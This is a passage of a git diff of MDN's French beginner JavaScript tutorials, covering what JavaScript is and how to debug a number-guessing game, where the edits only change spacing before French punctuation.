une description générale de JavaScript en présentant le « pourquoi » et le « comment » du JavaScript. L'objectif est que vous compreniez bien son but. <table> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> <p> Une culture informatique basique et une compréhension élémentaire de @@ -19,7 +19,7 @@ Bienvenue dans le cours JavaScript pour débutants sur le MDN. Dans ce premier a </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Se familiariser avec JavaScript, ce qu'il peut faire et comment il s'intègre dans un site web. @@ -38,7 +38,7 @@ JavaScript est un langage de programmation qui permet d'implémenter des mécani - {{glossary("CSS")}} est un langage de règles de style utilisé pour mettre en forme le contenu HTML. Par exemple : en modifiant la couleur d'arrière-plan ou les polices, ou en disposant le contenu en plusieurs colonnes. - {{glossary("JavaScript")}} est un langage de programmation qui permet de créer du contenu mis à jour de façon dynamique, de contrôler le contenu multimédia, d'animer des images, et tout ce à quoi on peut penser. Bon, peut-être pas tout, mais vous pouvez faire bien des choses avec quelques lignes de JavaScript. -Les trois couches se superposent naturellement. Prenons pour exemple une simple étiquette texte. Les balises HTML lui donnent une structure et un but : +Les trois couches se superposent naturellement. Prenons pour exemple une simple étiquette texte. Les balises HTML lui donnent une structure et un but : ```html <p>Player 1: Chris</p> @@ -46,7 +46,7 @@ Les trois couches se superposent naturellement. Prenons pour exemple une simple  -Nous pouvons ensuite ajouter du CSS pour rendre cela plus joli : +Nous pouvons ensuite ajouter du CSS pour rendre cela plus joli : ```css p { @@ -67,7 +67,7 @@ p {  -Et enfin utiliser JavaScript pour ajouter un comportement dynamique : +Et enfin utiliser JavaScript pour ajouter un comportement dynamique : ```js let para = document.querySelector('p'); @@ -86,42 +86,42 @@ Essayez de cliquer sur l'étiquette texte pour voir ce qui se passe. Notez que v JavaScript peut faire bien plus. Voyons cela plus en détail. -## Que peut-il _vraiment_ faire ? +## Que peut-il _vraiment_ faire ? -Le cœur de JavaScript est constitué de fonctionnalités communes de programmation permettant de : +Le cœur de JavaScript est constitué de fonctionnalités communes de programmation permettant de : - stocker des valeurs utiles dans des variables. Dans l'exemple plus haut, nous demandons un nouveau nom à l'utilisateur puis le stockons dans une variable appelée `name`. -- faire des opérations sur des morceaux de texte (appelés en programmation « chaînes de caractères » ou « strings » en anglais). Dans l'exemple plus haut, nous prenons la chaîne de caractères "Player 1: " et lui adjoignons la variable `name` pour créer l'étiquette ''Player 1: Chris". -- exécuter du code en réponse à certains événements se produisant sur une page web. Dans l'exemple, nous avons utilisé un événement (« event ») {{Event("click")}} pour détecter quand l'utilisateur clique sur le bouton ; on exécute alors le code qui met à jour l'étiquette. -- Et bien plus encore ! +- faire des opérations sur des morceaux de texte (appelés en programmation « chaînes de caractères » ou « strings » en anglais). Dans l'exemple plus haut, nous prenons la chaîne de caractères "Player 1: " et lui adjoignons la variable `name` pour créer l'étiquette ''Player 1: Chris". +- exécuter du code en réponse à certains événements se produisant sur une page web. Dans l'exemple, nous avons utilisé un événement (« event ») {{Event("click")}} pour détecter quand l'utilisateur clique sur le bouton ; on exécute alors le code qui met à jour l'étiquette. +- Et bien plus encore ! -Là où ça devient excitant, c'est que de nombreuses fonctionnalités sont basées sur ce cœur de JavaScript. Les « interfaces de programmation applicatives » (API pour « Application Programming Interfaces ») donnent accès à des fonctionnalités presqu'illimitées dans votre code JavaScript. +Là où ça devient excitant, c'est que de nombreuses fonctionnalités sont basées sur ce cœur de JavaScript. Les « interfaces de programmation applicatives » (API pour « Application Programming Interfaces ») donnent accès à des fonctionnalités presqu'illimitées dans votre code JavaScript. Les API sont des blocs de code déjà prêts qui permettent à un développeur d'implémenter des programmes qui seraient difficiles voire impossibles à implémenter sans elles. C'est comme du code "en kit" pour la programmation, très pratiques à assembler et à combiner. Les API sont au code ce que les meubles en kits sont aux fournitures de maison — il est beaucoup plus facile de prendre des panneaux prêts à l'emploi et de les visser ensemble pour faire une étagère que de travailler vous-même sur le design, d'aller chercher le bon bois, de couper tous les panneaux à la bonne taille et la bonne forme, de trouver les vis de la bonne taille, puis les assembler pour faire une étagère. -Elles se divisent généralement en deux catégories : +Elles se divisent généralement en deux catégories :  -**Les API de navigateur** font partie intégrante de votre navigateur web, et peuvent accéder à des données de l'environnement informatique (l'ordinateur), ou faire d'autres choses complexes. Par exemple : +**Les API de navigateur** font partie intégrante de votre navigateur web, et peuvent accéder à des données de l'environnement informatique (l'ordinateur), ou faire d'autres choses complexes. Par exemple : -- l'[API DOM (Document Object Model)](/fr/docs/Web/API/Document_Object_Model) permet de manipuler du HTML et du CSS (créer, supprimer et modifier du HTML, appliquer de nouveaux styles à la page de façon dynamique, etc.). Chaque fois que vous voyez une fenêtre popup sur une page ou du nouveau contenu apparaître (comme dans notre démonstration plus haut), il s'agit d'une action du DOM. +- l'[API DOM (Document Object Model)](/fr/docs/Web/API/Document_Object_Model) permet de manipuler du HTML et du CSS (créer, supprimer et modifier du HTML, appliquer de nouveaux styles à la page de façon dynamique, etc.). Chaque fois que vous voyez une fenêtre popup sur une page ou du nouveau contenu apparaître (comme dans notre démonstration plus haut), il s'agit d'une action du DOM. - l'[API de géolocalisation](/fr/docs/Web/API/Geolocation) récupère des informations géographiques. C'est ainsi que [Google Maps](https://www.google.com/maps) peut trouver votre position et la situer sur une carte. - les API [Canvas](/fr/docs/Web/API/Canvas_API) et [WebGL](/fr/docs/Web/API/WebGL_API) permettent de créer des animations 2D et 3D. On fait des choses incroyables avec ces technologies, voyez [Chrome Experiments](https://www.chromeexperiments.com/webgl) et [webglsamples](https://webglsamples.org/). - [les API Audio et Video](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery), comme {{domxref("HTMLMediaElement")}} et [WebRTC](/fr/docs/Web/API/WebRTC_API) permettent des actions intéressantes sur le multimédia, telles que jouer de l'audio ou de la vidéo directement dans une page web, ou récupérer le flux vidéo de votre webcam et l'afficher sur l'ordinateur de quelqu'un d'autre (essayez la [Snapshot demo](http://chrisdavidmills.github.io/snapshot/) pour vous faire une idée). > **Note :** Beaucoup des exemples ci-dessus ne fonctionneront pas dans un ancien navigateur. Il vaut mieux utiliser un navigateur moderne comme Firefox, Chrome, Edge ou Opera pour exécuter votre code et faire vos tests. Si vous êtes amené à écrire du code de production (c'est-à-dire destiné à de véritables utilisateurs), il vous faudra prendre en compte la compatibilité pour différents navigateurs. -Les **APIs tierces** ne font par défaut pas partie de votre navigateur, et vous devrez en général récupérer le code et les informations les concernant quelque part sur le web. Par exemple : +Les **APIs tierces** ne font par défaut pas partie de votre navigateur, et vous devrez en général récupérer le code et les informations les concernant quelque part sur le web. Par exemple : - l'[API Twitter](https://dev.twitter.com/overview/documentation) vous permet par exemple d'afficher vos derniers tweets sur votre site. - l'[API Google Maps](https://developers.google.com/maps/) permet d'intégrer à votre site des cartes personnalisées et d'autres fonctionnalités de ce type. > **Note :** ces APIs sont d'un niveau avancé et nous ne couvrirons aucune d'entre elles dans ce cours, mais les liens ci-dessus fournissent une large documentation si vous voulez en savoir davantage. -Et il y a bien plus encore ! Pas de précipitation cependant. Vous ne serez pas en mesure de créer le nouveau Facebook, Google Maps ou Instagram après une journée de travail sur JavaScript, il y a d'abord beaucoup de bases à assimiler. Et c'est pourquoi vous êtes ici. Allons-y ! +Et il y a bien plus encore ! Pas de précipitation cependant. Vous ne serez pas en mesure de créer le nouveau Facebook, Google Maps ou Instagram après une journée de travail sur JavaScript, il y a d'abord beaucoup de bases à assimiler. Et c'est pourquoi vous êtes ici. Allons-y ! -## Que fait JavaScript sur votre page ? +## Que fait JavaScript sur votre page ? Ici nous allons commencer à réellement nous intéresser au code, et, ce faisant, à explorer ce qui se passe quand vous exécutez du JavaScript dans votre page. @@ -135,13 +135,13 @@ C'est une bonne chose, étant donné qu'un usage fréquent de JavaScript est de ### Sécurité du navigateur -Chaque onglet du navigateur constitue un périmètre séparé dans lequel s'exécute le code (en termes techniques ces périmètres sont des « environnements d'exécution ») ce qui signifie que, dans la plupart des cas, le code de chaque onglet est exécuté complètement séparément, et le code d'un onglet ne peut affecter directement le code d'un autre onglet ou d'un autre site. C'est une bonne mesure de sécurité. Si ce n'était pas le cas, des pirates pourraient par exemple écrire du code pour voler des informations sur d'autres sites web. +Chaque onglet du navigateur constitue un périmètre séparé dans lequel s'exécute le code (en termes techniques ces périmètres sont des « environnements d'exécution ») ce qui signifie que, dans la plupart des cas, le code de chaque onglet est exécuté complètement séparément, et le code d'un onglet ne peut affecter directement le code d'un autre onglet ou d'un autre site. C'est une bonne mesure de sécurité. Si ce n'était pas le cas, des pirates pourraient par exemple écrire du code pour voler des informations sur d'autres sites web. > **Note :** il existe des moyens d'envoyer du code et des données entre différents sites/onglets de façon sécurisée, mais ce sont des techniques avancées que ne nous couvrirons pas dans ce cours. ### Ordre d'exécution du JavaScript -Quand le navigateur rencontre un bloc de JavaScript, il l'exécute généralement dans l'ordre, de haut en bas. Vous devrez donc faire attention à l'ordre dans lequel vous écrivez les choses. Reprenons le bloc de JavaScript vu dans notre premier exemple : +Quand le navigateur rencontre un bloc de JavaScript, il l'exécute généralement dans l'ordre, de haut en bas. Vous devrez donc faire attention à l'ordre dans lequel vous écrivez les choses. Reprenons le bloc de JavaScript vu dans notre premier exemple : ```js let para = document.querySelector('p'); @@ -154,9 +154,9 @@ function updateName() { } ``` -Nous sélectionnons ici un paragraphe de texte (ligne 1), puis lui attachons un « gestionnaire d'évènement » (<i lang="en">event listener</i>) ligne 3, pour qu'ensuite, lors d'un clic sur le paragraphe, le bloc de code `updateName()` (lignes 5-8) s'exécute. Le bloc de code `updateName()` (ces blocs de code réutilisables sont appelés « fonctions ») demande à l'utilisateur un nouveau nom, et l'insère dans le paragraphe pour mettre à jour l'affichage. +Nous sélectionnons ici un paragraphe de texte (ligne 1), puis lui attachons un « gestionnaire d'évènement » (<i lang="en">event listener</i>) ligne 3, pour qu'ensuite, lors d'un clic sur le paragraphe, le bloc de code `updateName()` (lignes 5-8) s'exécute. Le bloc de code `updateName()` (ces blocs de code réutilisables sont appelés « fonctions ») demande à l'utilisateur un nouveau nom, et l'insère dans le paragraphe pour mettre à jour l'affichage. -Si vous échangiez les deux premières lignes de code, rien ne fonctionnerait plus, vous obtiendriez une erreur dans la console développeur du navigateur : `TypeError: para is undefined`. Cela signifie que l'objet `para` n'existe pas encore, donc nous ne pouvons pas y ajouter de gestionnaire d'évènement. +Si vous échangiez les deux premières lignes de code, rien ne fonctionnerait plus, vous obtiendriez une erreur dans la console développeur du navigateur : `TypeError: para is undefined`. Cela signifie que l'objet `para` n'existe pas encore, donc nous ne pouvons pas y ajouter de gestionnaire d'évènement. > **Note :** c'est une erreur très fréquente. Il faut veiller à ce que les objets référencés dans votre code existent avant d'essayer de les utiliser. @@ -172,7 +172,7 @@ Chaque approche a ses avantages, ce que nous ne développerons pas pour l'instan Vous pouvez aussi rencontrer les termes de code **côté serveur** et **côté client**, notamment dans le contexte du développement web. Le code **côté client** est du code exécuté sur l'ordinateur de l'utilisateur : quand une page web est vue, le code côté client de la page est téléchargé, puis exécuté et affiché par le navigateur. Dans ce module JavaScript, nous parlons explicitement de **JavaScript côté client**. -Le code **côté serveur** quant à lui est exécuté sur le serveur, puis ses résultats sont téléchargés et affichés par le navigateur. Citons comme langages web côté serveur populaires le PHP, Python, Ruby, et ASP.NET. Et JavaScript ! JavaScript peut aussi s'utiliser comme un langage **côté serveur**, par exemple dans le populaire environnement Node.js — vous pouvez en apprendre plus sur le JavaScript côté serveur dans notre article [Programmation de Sites Web côté serveur](/fr/docs/Learn/Server-side). +Le code **côté serveur** quant à lui est exécuté sur le serveur, puis ses résultats sont téléchargés et affichés par le navigateur. Citons comme langages web côté serveur populaires le PHP, Python, Ruby, et ASP.NET. Et JavaScript ! JavaScript peut aussi s'utiliser comme un langage **côté serveur**, par exemple dans le populaire environnement Node.js — vous pouvez en apprendre plus sur le JavaScript côté serveur dans notre article [Programmation de Sites Web côté serveur](/fr/docs/Learn/Server-side). ### Code dynamique contre code statique @@ -180,15 +180,15 @@ Le mot **dynamique** est utilisé tant pour qualifier le JavaScript côté clien Une page web sans contenu mis à jour dynamiquement est appelé **statique** : elle montre simplement toujours le même contenu. -## Comment ajouter du JavaScript à votre page ? +## Comment ajouter du JavaScript à votre page ? -Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les éléments {{htmlelement("link")}} permettent d'appliquer des feuilles de style externes au HTML alors que les feuilles de style internes utilisent les éléments {{htmlelement("style")}}. Pour ajouter du JavaScript à un document HTML, il n'y a qu'une seule façon : avec l'élément {{htmlelement("script")}}. Voyons cela sur un exemple. +Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les éléments {{htmlelement("link")}} permettent d'appliquer des feuilles de style externes au HTML alors que les feuilles de style internes utilisent les éléments {{htmlelement("style")}}. Pour ajouter du JavaScript à un document HTML, il n'y a qu'une seule façon : avec l'élément {{htmlelement("script")}}. Voyons cela sur un exemple. ### JavaScript interne 1. Faites d'abord une copie locale de notre fichier d'exemple [apply-javascript.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html). Enregistrez-le dans un répertoire approprié. 2. Ouvrez le fichier dans votre navigateur web et dans un éditeur de texte. Vous verrez que le HTML crée une page web simple contenant un bouton cliquable. -3. Ensuite, allez dans votre éditeur de texte et ajoutez ce qui suit juste avant la balise fermante `</head>` : +3. Ensuite, allez dans votre éditeur de texte et ajoutez ce qui suit juste avant la balise fermante `</head>` : ```html <script> @@ -198,7 +198,7 @@ Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les élémen </script> ``` -4. Ajoutons maintenant du JavaScript dans notre élément {{htmlelement("script")}} pour rendre la page plus dynamique. Ajoutez le code suivant juste en dessous de la ligne "// JavaScript goes here" : +4. Ajoutons maintenant du JavaScript dans notre élément {{htmlelement("script")}} pour rendre la page plus dynamique. Ajoutez le code suivant juste en dessous de la ligne "// JavaScript goes here" : ```js document.addEventListener("DOMContentLoaded", function() { @@ -218,17 +218,17 @@ Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les élémen 5. Enregistrez le fichier et actualisez le navigateur. Vous pouvez maintenant voir que, lorsque vous cliquez sur le bouton, un nouveau paragraphe est généré et placé en dessous. -> **Note :** si l'exemple ne semble pas marcher, reprenez pas à pas chaque étape. Avez-vous bien enregistré le code de départ comme un fichier `.html` ? Avez-vous bien ajouté l'élément {{htmlelement("script")}} juste après la balise `</head>` ? Avez-vous collé le bon code JavaScript au bon endroit ? **JavaScript est sensible à la casse, et assez tatillon, il faut donc respecter scrupuleusement la syntaxe indiquée, sans quoi il peut ne pas fonctionner.** +> **Note :** si l'exemple ne semble pas marcher, reprenez pas à pas chaque étape. Avez-vous bien enregistré le code de départ comme un fichier `.html` ? Avez-vous bien ajouté l'élément {{htmlelement("script")}} juste après la balise `</head>` ? Avez-vous collé le bon code JavaScript au bon endroit ? **JavaScript est sensible à la casse, et assez tatillon, il faut donc respecter scrupuleusement la syntaxe indiquée, sans quoi il peut ne pas fonctionner.** > **Note :** vous pouvez voir cette version sur GitHub avec [apply-javascript-internal.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html) ([et aussi en live](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html)). ### JavaScript externe -Ça marche très bien, mais si nous voulons mettre notre JavaScript dans un fichier externe ? Voyons cela. +Ça marche très bien, mais si nous voulons mettre notre JavaScript dans un fichier externe ? Voyons cela. 1. Créez d'abord un nouveau fichier dans le même répertoire que votre fichier HTML. Nommez-le `script.js` (vérifiez qu'il a bien l'extension de fichier .js, c'est ainsi qu'il est identifié comme fichier JavaScript). 2. Ensuite, copiez-collez tout le script contenu dans l'élément {{htmlelement("script")}} vers le fichier .js, et enregistrez le fichier. -3. À présent remplacez l'élément {{htmlelement("script")}} par : +3. À présent remplacez l'élément {{htmlelement("script")}} par : ```html <script src="script.js" defer></script> @@ -240,7 +240,7 @@ Le JavaScript est appliqué à votre page HTML un peu comme le CSS. Les élémen ### Handlers JavaScript en ligne -Notez que parfois vous tomberez sur des morceaux de JavaScript directement dans le HTML. Ce qui peut ressembler à ça : +Notez que parfois vous tomberez sur des morceaux de JavaScript directement dans le HTML. Ce qui peut ressembler à ça : ```js example-bad function createParagraph() { @@ -264,7 +264,7 @@ Cet exemple a exactement le même comportement que ceux des deux sections préc ### En JavaScript pur -Une construction en JavaScript pur permet de sélectionner tous les boutons avec une instruction. Dans l'exemple précédent c'est cette partie qui s'en charge : +Une construction en JavaScript pur permet de sélectionner tous les boutons avec une instruction. Dans l'exemple précédent c'est cette partie qui s'en charge : ```js let buttons = document.querySelectorAll('button'); @@ -276,7 +276,7 @@ for(let i = 0; i < buttons.length ; i++) { Cela peut sembler un peu plus long que l'attribut `onclick`, mais cela fonctionnera pour tous les boutons peu importe leur nombre sur la page, et peu importe si des boutons sont ajoutés ou retirés, le code JavaScript n'aura pas besoin d'être modifié. -> **Note :** essayez de modifier votre version de `apply-javascript.html` et d'y ajouter quelques boutons dans le fichier. En actualisant la page, tous les boutons devraient créer un paragraphe quand ils sont cliqués. Pas mal, non ? +> **Note :** essayez de modifier votre version de `apply-javascript.html` et d'y ajouter quelques boutons dans le fichier. En actualisant la page, tous les boutons devraient créer un paragraphe quand ils sont cliqués. Pas mal, non ? ### Stratégies de chargement de script @@ -347,15 +347,15 @@ Pour résumer : ## Commentaires -Comme pour le HTML et le CSS, il est possible d'écrire des commentaires dans le code JavaScript qui seront ignorés par le navigateur. Ils ne sont là que pour apporter des précisions aux autres développeurs sur le fonctionnement du code (et vous-même, si vous reprenez votre code après six mois sans pouvoir vous rappeler ce que vous avez fait). Les commentaires sont très utiles, et vous devriez les utiliser fréquemment, surtout pour des applications de grande taille. Il y en a deux types : +Comme pour le HTML et le CSS, il est possible d'écrire des commentaires dans le code JavaScript qui seront ignorés par le navigateur. Ils ne sont là que pour apporter des précisions aux autres développeurs sur le fonctionnement du code (et vous-même, si vous reprenez votre code après six mois sans pouvoir vous rappeler ce que vous avez fait). Les commentaires sont très utiles, et vous devriez les utiliser fréquemment, surtout pour des applications de grande taille. Il y en a deux types : -- Un commentaire sur une ligne s'écrit après un double slash, par exemple : +- Un commentaire sur une ligne s'écrit après un double slash, par exemple : ```js // Ceci est un commentaire ``` -- Un commentaire sur plusieurs lignes s'écrit entre deux balises /\* et \*/, par exemple : +- Un commentaire sur plusieurs lignes s'écrit entre deux balises /\* et \*/, par exemple : ```js /* @@ -364,7 +364,7 @@ Comme pour le HTML et le CSS, il est possible d'écrire des commentaires dans le */ ``` -Ainsi, vous pourriez par exemple annoter notre dernière démonstration de JavaScript de cette manière : +Ainsi, vous pourriez par exemple annoter notre dernière démonstration de JavaScript de cette manière : ```js // Fonction: créer un nouveau paragraphe et l'ajouter en bas du HTML @@ -399,15 +399,15 @@ Le JavaScript peut sembler un peu impressionnant pour l'instant, mais pas d'inqu ## Dans ce module -- [Qu'est-ce que JavaScript ?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) +- [Qu'est-ce que JavaScript ?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) - [Un premier code JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) -- [Quel est le souci ? Analyser un problème avec JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) -- [Stocker les informations nécessaires : les variables](/fr/docs/Learn/JavaScript/First_steps/Variables) -- [Opérations mathématiques de base en JavaScript : les nombres et les opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math) -- [Gérer le texte : les chaînes de caractères en JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) +- [Quel est le souci ? Analyser un problème avec JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) +- [Stocker les informations nécessaires : les variables](/fr/docs/Learn/JavaScript/First_steps/Variables) +- [Opérations mathématiques de base en JavaScript : les nombres et les opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math) +- [Gérer le texte : les chaînes de caractères en JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) - [Les méthodes utiles pour les chaînes de caractères](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods) - [Les tableaux <i lang="en">(arrays)</i>](/fr/docs/Learn/JavaScript/First_steps/Arrays) <i lang="en">(arrays)</i> -- [Évaluation : Générateur d'histoires aléatoires](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) +- [Évaluation : Générateur d'histoires aléatoires](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) diff --git a/files/fr/learn/javascript/first_steps/what_went_wrong/index.md b/files/fr/learn/javascript/first_steps/what_went_wrong/index.md index ead4a81f29..c19587bda7 100644 --- a/files/fr/learn/javascript/first_steps/what_went_wrong/index.md +++ b/files/fr/learn/javascript/first_steps/what_went_wrong/index.md @@ -1,5 +1,5 @@ --- -title: Qu'est-ce qui n'a pas fonctionné ? Déboguer du code JavaScript +title: Qu'est-ce qui n'a pas fonctionné ? Déboguer du code JavaScript slug: Learn/JavaScript/First_steps/What_went_wrong tags: - Apprentissage @@ -21,7 +21,7 @@ Après avoir créé le jeu "Devinez le nombre" de l'article précédent, vous av <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> <p> Vocabulaire courant de l'informatique, bases de HTML et CSS, @@ -30,7 +30,7 @@ Après avoir créé le jeu "Devinez le nombre" de l'article précédent, vous av </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Acquérir la capacité et la confiance pour commencer à résoudre des problèmes simples dans votre propre code. @@ -41,37 +41,37 @@ Après avoir créé le jeu "Devinez le nombre" de l'article précédent, vous av ## Types d' erreurs -En règle générale, les erreurs dans un code sont à ranger dans deux catégories : +En règle générale, les erreurs dans un code sont à ranger dans deux catégories : -- **Erreurs de syntaxe :** Ce sont les fautes d'orthographe. Elles empêchent réellement le programme de fonctionner ou l'arrêtent en cours de chemin — elles sont accompagnées de messages d'erreur. Ces erreurs sont généralement simple à corriger, pour autant que vous connaissiez les bons outils et sachiez ce que signifient les messages ! -- **Erreurs logiques :** La syntaxe est correcte, mais le code n'est pas ce que vous attendiez : le programme tourne sans planter mais donne des résultats inattendus. Ces erreurs sont souvent plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas, en général, de message d'erreur pour vous diriger vers la source de l'erreur. +- **Erreurs de syntaxe :** Ce sont les fautes d'orthographe. Elles empêchent réellement le programme de fonctionner ou l'arrêtent en cours de chemin — elles sont accompagnées de messages d'erreur. Ces erreurs sont généralement simple à corriger, pour autant que vous connaissiez les bons outils et sachiez ce que signifient les messages ! +- **Erreurs logiques :** La syntaxe est correcte, mais le code n'est pas ce que vous attendiez : le programme tourne sans planter mais donne des résultats inattendus. Ces erreurs sont souvent plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas, en général, de message d'erreur pour vous diriger vers la source de l'erreur. -Bon, mais ce n'est pas si simple que cela — il y a d'autres facteurs de différenciation lorsque vous approfondissez. Mais la classification ci-dessus suffiira pour commencer. Nous examinerons ces deux catégories d'erreur un peu plus loin. +Bon, mais ce n'est pas si simple que cela — il y a d'autres facteurs de différenciation lorsque vous approfondissez. Mais la classification ci-dessus suffiira pour commencer. Nous examinerons ces deux catégories d'erreur un peu plus loin. ## Un exemple erroné Pour commencer, revenons à notre jeu de devinettes numériques — sauf que cette fois-ci, nous explorerons une version qui comporte des erreurs délibérées. Allez sur Github et fabriquez vous-même une copie locale de [number-game-errors.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html) ([voyez-la ici](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html) en direct). 1. Pour commencer, ouvrez la copie locale avec votre éditeur de texte favoris. -2. Essayez de lancer le jeu — vous remarquerez que quand vous pressez le bouton +2. Essayez de lancer le jeu — vous remarquerez que quand vous pressez le bouton <kbd>Submit guess</kbd> , cela ne fonctionne pas! -> **Note :** Votre propre version de l'exemple de jeu ne fonctionne pas, vous pourriez vouloir la corriger ! Il nous semble plus efficace que vous travailliez sur notre version boguée, afin que vous puissiez apprendre les techniques que nous enseignons ici. Ensuite, vous pouvez revenir en arrière et essayer de réparer votre exemple. +> **Note :** Votre propre version de l'exemple de jeu ne fonctionne pas, vous pourriez vouloir la corriger ! Il nous semble plus efficace que vous travailliez sur notre version boguée, afin que vous puissiez apprendre les techniques que nous enseignons ici. Ensuite, vous pouvez revenir en arrière et essayer de réparer votre exemple. À ce stade, consultons la [console du développeur](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) pour voir si nous pouvons voir des erreurs de syntaxe, puis essayez de les corriger. Vous apprendrez comment ci-dessous. ## Réparer les erreurs de syntaxe -Antérieurement dans le cours, nous vous avons demandé de taper quelques commandes JavaScript simples dans la [console JavaScript](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) [des outils de développement](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) (si vous ne pouvez pas vous rappeler comment l'ouvrir dans votre navigateur, suivez le lien précédent pour savoir comment). Ce qui est encore plus utile, c'est que la console vous donne des messages d'erreur chaque fois qu'une erreur de syntaxe existe dans le JavaScript qui est introduit dans le moteur JavaScript du navigateur. Maintenant partons en chasse ! +Antérieurement dans le cours, nous vous avons demandé de taper quelques commandes JavaScript simples dans la [console JavaScript](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) [des outils de développement](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) (si vous ne pouvez pas vous rappeler comment l'ouvrir dans votre navigateur, suivez le lien précédent pour savoir comment). Ce qui est encore plus utile, c'est que la console vous donne des messages d'erreur chaque fois qu'une erreur de syntaxe existe dans le JavaScript qui est introduit dans le moteur JavaScript du navigateur. Maintenant partons en chasse ! -1. Allez à l'onglet dans lequel est affiché `number-game-errors.html`, et ouvrez la console JavaScript. Vous devriez voir un message d'erreur dans les lignes qui suivent :  +1. Allez à l'onglet dans lequel est affiché `number-game-errors.html`, et ouvrez la console JavaScript. Vous devriez voir un message d'erreur dans les lignes qui suivent :  2. C'est une erreur très facile à trouver, et le navigateur vous fournit quelques indices pour vous en sortir (la copie d'écran ci‑dessus provient de Firefox, mais les autres navigateurs donnent des indications semblables). De gauche à droite, nous avons : - Une croix rouge indiquant que c'est une erreur. - - Un message d'erreur précisant ce qui ne va pas : "TypeError: guessSubmit.addeventListener is not a function" ("Type d'erreur : guessSubmit.addeventListener n'est pas une fonction") + - Un message d'erreur précisant ce qui ne va pas : "TypeError: guessSubmit.addeventListener is not a function" ("Type d'erreur : guessSubmit.addeventListener n'est pas une fonction") - Un lien "Learn More" ("En savoir plus") pointant sur une page MDN explicitant ce que l'erreur signifie avec pléthore de détails. - Le nom du fichier JavaScript, lié à l'onglet Debugger de l'outil de développement. Si vous suivez le lien, vous verrez exactement la ligne dans laquelle l'erreur est mise en évidence. - Le numéro de la ligne où se situe l'erreur, et le rang du caractère dans cette ligne où l'erreur a été repérée pour la première fois. Dans notre cas, il s'agit de la ligne 86, caractère 3. @@ -82,34 +82,34 @@ Antérieurement dans le cours, nous vous avons demandé de taper quelques comman guessSubmit.addeventListener('click', checkGuess); ``` -4. Le message d'erreur dit "guessSubmit.addeventListener n'est pas une fonction", donc nous avons probablement mal orthographié quelque chose. Si vous n'êtes pas sûr de la bonne orthographe d'un élément syntaxique, il est fréquemment opportun de regarder dans MDN. Actuellement, la meilleure façon d'opérer consiste à faire une recherche pour "mdn _nom-de-fonctionnalité_" avec votre moteur de recherche préféré. Voici un raccourci pour gagner un peu de temps dans le cas présent : [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener). -5. Donc, en regardant cette page, il apparaît que nous avions mal orthographié le nom de la fonction ! Souvenez-vous que JavaScript est sensible à la casse, et que la moindre différence dans l'orthographe ou la casse déclenchera une erreur. Remplacer `addeventListener` par `addEventListener` corrigera cela. Faisons‑le maintenant. +4. Le message d'erreur dit "guessSubmit.addeventListener n'est pas une fonction", donc nous avons probablement mal orthographié quelque chose. Si vous n'êtes pas sûr de la bonne orthographe d'un élément syntaxique, il est fréquemment opportun de regarder dans MDN. Actuellement, la meilleure façon d'opérer consiste à faire une recherche pour "mdn _nom-de-fonctionnalité_" avec votre moteur de recherche préféré. Voici un raccourci pour gagner un peu de temps dans le cas présent : [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener). +5. Donc, en regardant cette page, il apparaît que nous avions mal orthographié le nom de la fonction ! Souvenez-vous que JavaScript est sensible à la casse, et que la moindre différence dans l'orthographe ou la casse déclenchera une erreur. Remplacer `addeventListener` par `addEventListener` corrigera cela. Faisons‑le maintenant. > **Note :** Voyez la page relative à [TypeError: "x" is not a function](/fr/docs/Web/JavaScript/Reference/Errors/Not_a_function) pour plus de précisions à propos de cette erreur. -### Erreurs de syntaxe : deuxième tour +### Erreurs de syntaxe : deuxième tour 1. Enregistrez la page et actualisez‑la, vous constaterez que l'erreur a disparu. -2. Maintenant si vous entrez une supposition et pressez le bouton de soumission, vous constaterez ... une autre erreur !  +2. Maintenant si vous entrez une supposition et pressez le bouton de soumission, vous constaterez ... une autre erreur !  3. Cette fois‑ci, l'erreur rapportée est "TypeError: lowOrHi is null", à la ligne 78. > **Note :** [`Null`](/fr/docs/Glossary/Null) est une valeur spéciale signifiant "rien" ou "aucune valeur". Or `lowOrHi` a été déclaré et initialisé, mais sans valeur signifiante — il n'a ni type ni valeur. > **Note :** Cette erreur n'apparaît pas au moment du chargement de la page car elle survient à l'intérieur d'une fonction (dans `checkGuess() { ... }`). Comme vous l'apprendrez de manière plus précise plus loin dans l'article à propos des 